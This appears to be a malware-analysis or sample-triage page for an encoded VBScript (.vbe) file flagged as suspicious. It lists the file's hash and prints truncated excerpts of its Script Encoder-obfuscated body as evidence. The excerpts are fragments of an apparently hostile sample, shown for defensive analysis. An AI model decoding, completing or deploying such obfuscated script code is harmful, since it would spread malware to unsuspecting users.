Suspicious 80% Download

cb98b52355997143aa33a24306371f6934663c391252afd2fb1a841d552475cb.vbe

Encoded VBScript malware

Microsoft Script Encoder protected scriptVBScript has long average lines
SHA-256cb98b52355997143aa33a24306371f6934663c391252afd2fb1a841d552475cb
MaleculeO(As₃)Md

Evidence

Microsoft Script Encoder protected script line 1
1#@~^BLQHAA==6aYrKx,26aVb^kD@#@&@#@&frh,.bG .@#@&?O~.zfq.~'~/M+CY64N+^OvJ?^.bwOk Lcsr^+UX/D+s64N+^Yr#@#@&@#@&fbhP_(S}3SPw|~M9@#@&@#@&fr:,FII @#@&?+O~nIeq~{P/M+mY+}4NnmD`E?1tn[!V+cj+M\k1nE#@#@&@#@&9kh~t.oS"@#@&t.oJ"P'~omVd+@#@&@#@&@#@&fb:PGItB1@#@&j+DP9]t91,xP;D+mOnr(LmO`E Um.kaORUtns^J#@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&jE(~55nu}vnIB\d#@#@&,~,PK"9tSRzmDrW / ZM+CO`!* nmYt,x~jV1orc#@#@&Ax[PU;4@#@&@#@&@#@&@#@&@#@&@#@&@#@&o!x^DkKxPg5:#vq/?_b@#@&PP,~fb:Pqj}q:`*~~1$jwrSP`jSxjS~dnfp\@#@&~P,~@#@&~,P,j?d9`~',Snxvq/j_#,wPy@#@&,~~P"+Gkh …
Percent-encoded content decoded line 1
1:204762… &+fW&q&+* 2cfX2c&qf+cf&Wfy&*2F2v&y&WfF2v* 2cf{2c&8fc2G&Wf+&+&F&&ffW&q&Wf*2cf{2c&qfl&{&Wfy&X2F2c&8&WfF2cfF2cfq2c&8fc2*&Wf+&W&8&*&qfW&q&WfF2cfq2c&qfW&q&Wf8&*2F2c&8&WfF2cfF2cfq2c&8fc2F&Wfq&W&8&*&qfW&q&Wf*2cfq2c&qfW&q&Wf8&*2F2c&y&WfF2cfF2cfq …
Microsoft Script Encoder footer line 1
1:504763… &~P~~@#@&~P,~@#@&P~~,rfuo5PxPv( ?OM`:q2`rB~\(Z.S6#~@*,!#@#@&2 NPw;UmDkKx@#@&@#@&@#@&@#@&vPqOAQ==^#~@�

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.